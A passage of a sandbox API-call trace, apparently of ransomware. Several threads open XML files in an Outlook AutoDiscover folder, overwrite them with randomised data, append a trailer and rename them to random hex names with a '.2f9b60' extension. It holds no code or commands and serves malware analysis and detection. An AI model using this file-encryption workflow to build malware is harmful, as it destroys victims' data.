Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x4b3c02e1 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x14e351ea [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x3eae4f0 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x5dc751c9 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x1fc57e52 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x62da05 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x3408f612 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x1bb8585b [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x441d1dfb [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x63dbc6d1 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x74efdd59 [0230.574] ReadFile (in: hFile=0x790, lpBuffer=0x20328130, nNumberOfBytesToRead=0x331, lpNumberOfBytesRead=0x2f1ef7f0, lpOverlapped=0x0 | out: lpBuffer=0x20328130*, lpNumberOfBytesRead=0x2f1ef7f0*=0x331, lpOverlapped=0x0) returned 1 [0230.575] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.575] WriteFile (in: hFile=0x790, lpBuffer=0x203118d0*, nNumberOfBytesToWrite=0x331, lpNumberOfBytesWritten=0x2f1ef7f4, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesWritten=0x2f1ef7f4*=0x331, lpOverlapped=0x0) returned 1 [0233.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0233.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0233.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0233.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0233.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20328130) returned 1 [0233.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0233.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0233.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260c80 [0233.794] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.794] WriteFile (in: hFile=0x790, lpBuffer=0x431f0ba0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f1ef910, lpOverlapped=0x0 | out: lpBuffer=0x431f0ba0*, lpNumberOfBytesWritten=0x2f1ef910*=0x10a, lpOverlapped=0x0) returned 1 [0236.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1afa0 [0236.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1afa0) returned 1 [0236.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1afa0 [0236.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e300 [0236.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e300) returned 1 [0236.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f8b0 [0236.035] sprintf (in: _Dest=0x1cd9f8b0, _Format="%c%c" | out: _Dest="40") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8b2, _Format="%c%c" | out: _Dest="c9") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8b4, _Format="%c%c" | out: _Dest="24") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8b6, _Format="%c%c" | out: _Dest="0e") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8b8, _Format="%c%c" | out: _Dest="b0") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8ba, _Format="%c%c" | out: _Dest="ab") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8bc, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8be, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8c0, _Format="%c%c" | out: _Dest="9c") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8c2, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8c4, _Format="%c%c" | out: _Dest="b4") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8c6, _Format="%c%c" | out: _Dest="3f") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8c8, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8ca, _Format="%c%c" | out: _Dest="93") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8cc, _Format="%c%c" | out: _Dest="90") returned 2 [0236.035] sprintf (in: _Dest=0x1cd9f8ce, _Format="%c%c" | out: _Dest="a0") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8d0, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8d2, _Format="%c%c" | out: _Dest="15") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8d4, _Format="%c%c" | out: _Dest="24") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8d6, _Format="%c%c" | out: _Dest="21") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8d8, _Format="%c%c" | out: _Dest="62") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8da, _Format="%c%c" | out: _Dest="95") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8dc, _Format="%c%c" | out: _Dest="df") returned 2 [0236.036] sprintf (in: _Dest=0x1cd9f8de, _Format="%c%c" | out: _Dest="9b") returned 2 [0236.036] RtlInitAnsiString (in: DestinationString=0x2f1ef988, SourceString="40c9240eb0abe3a69c4cb43f7d9390a00a1524216295df9b" | out: DestinationString="40c9240eb0abe3a69c4cb43f7d9390a00a1524216295df9b") [0236.036] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f1ef958, SourceString="40c9240eb0abe3a69c4cb43f7d9390a00a1524216295df9b", AllocateDestinationString=1 | out: DestinationString="40c9240eb0abe3a69c4cb43f7d9390a00a1524216295df9b") returned 0x0 [0236.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a01d0 [0236.037] wcscat (in: _Dest=0x1ce17370, _Source="40c9240eb0ab" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\40c9240eb0ab") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\40c9240eb0ab" [0236.037] wcscat (in: _Dest=0x1ce17370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\40c9240eb0ab.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\40c9240eb0ab.2f9b60" [0236.037] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\40c9240eb0ab.2f9b60", NtPathName=0x2f1ef930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\40c9240eb0ab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205f360 Thread: id = 3845 os_tid = 0x10a8 [0227.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml")) returned 0x20 [0229.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML", dwFileAttributes=0x20) returned 1 [0229.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x37c [0229.350] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f86fc80 | out: lpFileSize=0x2f86fc80*=806) returned 1 [0229.350] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.350] ReadFile (in: hFile=0x37c, lpBuffer=0x2f86fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f86fc48, lpOverlapped=0x0 | out: lpBuffer=0x2f86fc00*, lpNumberOfBytesRead=0x2f86fc48*=0x4, lpOverlapped=0x0) returned 1 [0229.365] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3dd0 [0229.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d70 [0229.366] NtQuerySystemTime (in: CurrentTime=0x2f86fb40 | out: CurrentTime=0x2f86fb40*=132462178333522000) returned 0x0 [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x76ce7c8c [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x60731391 [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x7edbcc04 [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x4869cdaa [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x1f09ced8 [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x6c483329 [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x516c1a9c [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x674e1328 [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x52222a7a [0229.366] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x44d22443 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x39583a0c [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x2cdb28b2 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x257b3ddb [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x514f748f [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x8685940 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x2004e952 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x689d79b9 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x757260d [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x77b0116 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x61553645 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x1abd32c3 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x7f959c5e [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x3b5a057 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x789c790 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x6cb6d3d9 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x3ed043a1 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x2f81e2e6 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x155b3e69 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x15cef987 [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x289b8a1b [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x5d4200ee [0229.367] RtlRandomEx (in: Seed=0x2f86fb30 | out: Seed=0x2f86fb30) returned 0x65a7fe1d [0229.374] ReadFile (in: hFile=0x37c, lpBuffer=0x42de4d60, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2f86fb30, lpOverlapped=0x0 | out: lpBuffer=0x42de4d60*, lpNumberOfBytesRead=0x2f86fb30*=0x326, lpOverlapped=0x0) returned 1 [0229.374] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.375] WriteFile (in: hFile=0x37c, lpBuffer=0x42de8970*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2f86fb34, lpOverlapped=0x0 | out: lpBuffer=0x42de8970*, lpNumberOfBytesWritten=0x2f86fb34*=0x326, lpOverlapped=0x0) returned 1 [0233.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0233.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0233.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c10) returned 1 [0233.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de8970) returned 1 [0233.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de4d60) returned 1 [0233.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0233.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62e10) returned 1 [0233.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261c10 [0233.319] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.319] WriteFile (in: hFile=0x37c, lpBuffer=0x42c15ef0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f86fc50, lpOverlapped=0x0 | out: lpBuffer=0x42c15ef0*, lpNumberOfBytesWritten=0x2f86fc50*=0x10a, lpOverlapped=0x0) returned 1 [0235.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3ec0 [0235.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3ec0) returned 1 [0235.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3ec0 [0235.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f50 [0235.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3f50) returned 1 [0235.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f470 [0235.477] sprintf (in: _Dest=0x1cd9f470, _Format="%c%c" | out: _Dest="f6") returned 2 [0235.477] sprintf (in: _Dest=0x1cd9f472, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.477] sprintf (in: _Dest=0x1cd9f474, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f476, _Format="%c%c" | out: _Dest="3d") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f478, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f47a, _Format="%c%c" | out: _Dest="14") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f47c, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f47e, _Format="%c%c" | out: _Dest="10") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f480, _Format="%c%c" | out: _Dest="07") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f482, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f484, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f486, _Format="%c%c" | out: _Dest="25") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f488, _Format="%c%c" | out: _Dest="08") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f48a, _Format="%c%c" | out: _Dest="bf") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f48c, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f48e, _Format="%c%c" | out: _Dest="92") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f490, _Format="%c%c" | out: _Dest="65") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f492, _Format="%c%c" | out: _Dest="b6") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f494, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f496, _Format="%c%c" | out: _Dest="02") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f498, _Format="%c%c" | out: _Dest="87") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f49a, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f49c, _Format="%c%c" | out: _Dest="74") returned 2 [0235.478] sprintf (in: _Dest=0x1cd9f49e, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.478] RtlInitAnsiString (in: DestinationString=0x2f86fcc8, SourceString="f6b0b43d7d14b11007d6e02508bf7e9265b6c80287b274cb" | out: DestinationString="f6b0b43d7d14b11007d6e02508bf7e9265b6c80287b274cb") [0235.478] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f86fc98, SourceString="f6b0b43d7d14b11007d6e02508bf7e9265b6c80287b274cb", AllocateDestinationString=1 | out: DestinationString="f6b0b43d7d14b11007d6e02508bf7e9265b6c80287b274cb") returned 0x0 [0235.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310ed40 [0235.479] wcscat (in: _Dest=0x431f5f30, _Source="f6b0b43d7d14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f6b0b43d7d14") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f6b0b43d7d14" [0235.479] wcscat (in: _Dest=0x431f5f30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f6b0b43d7d14.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f6b0b43d7d14.2f9b60" [0235.479] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f6b0b43d7d14.2f9b60", NtPathName=0x2f86fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f6b0b43d7d14.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1193e0 Thread: id = 3846 os_tid = 0x1fec [0227.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml")) returned 0x20 [0229.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML", dwFileAttributes=0x20) returned 1 [0229.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a4 [0229.289] GetFileSizeEx (in: hFile=0x16a4, lpFileSize=0x2ffefaa0 | out: lpFileSize=0x2ffefaa0*=806) returned 1 [0229.289] SetFilePointerEx (in: hFile=0x16a4, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.289] ReadFile (in: hFile=0x16a4, lpBuffer=0x2ffefa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ffefa68, lpOverlapped=0x0 | out: lpBuffer=0x2ffefa20*, lpNumberOfBytesRead=0x2ffefa68*=0x4, lpOverlapped=0x0) returned 1 [0230.523] SetFilePointerEx (in: hFile=0x16a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636e0 [0230.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261310 [0230.524] NtQuerySystemTime (in: CurrentTime=0x2ffef960 | out: CurrentTime=0x2ffef960*=132462178345222000) returned 0x0 [0230.524] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x5a32f7af [0230.524] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x2a982d9e [0230.524] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x48169ec5 [0230.524] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x7a506bb5 [0230.524] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0xe3bfbf4 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x3ffb81e6 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x77f31ad9 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x10f9d265 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x141acd87 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x10de14e0 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x6fe1abde [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x730e8dc4 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x3caeb34f [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x1cc54ff9 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x1fa1095c [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x4ced141a [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x59126fa6 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x3e4db5bf [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x44bea81e [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x19c48f3f [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x75a92d18 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x1c0e09db [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x483b5fe0 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x3bb62f03 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x50628801 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x2e9e10ce [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x7e9eedf [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x3bb7642d [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x5aadc970 [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x1ba0fa4d [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0x74d929d [0230.525] RtlRandomEx (in: Seed=0x2ffef950 | out: Seed=0x2ffef950) returned 0xc83ad68 [0230.533] ReadFile (in: hFile=0x16a4, lpBuffer=0x423df1d0, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2ffef950, lpOverlapped=0x0 | out: lpBuffer=0x423df1d0*, lpNumberOfBytesRead=0x2ffef950*=0x326, lpOverlapped=0x0) returned 1 [0230.533] SetFilePointerEx (in: hFile=0x16a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.533] WriteFile (in: hFile=0x16a4, lpBuffer=0x423b9930*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2ffef954, lpOverlapped=0x0 | out: lpBuffer=0x423b9930*, lpNumberOfBytesWritten=0x2ffef954*=0x326, lpOverlapped=0x0) returned 1 [0233.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0233.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0233.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624e0) returned 1 [0233.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b9930) returned 1 [0233.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423df1d0) returned 1 [0233.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0233.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0233.776] RtlAllocateHeap (HeapHandle=0xa0000, 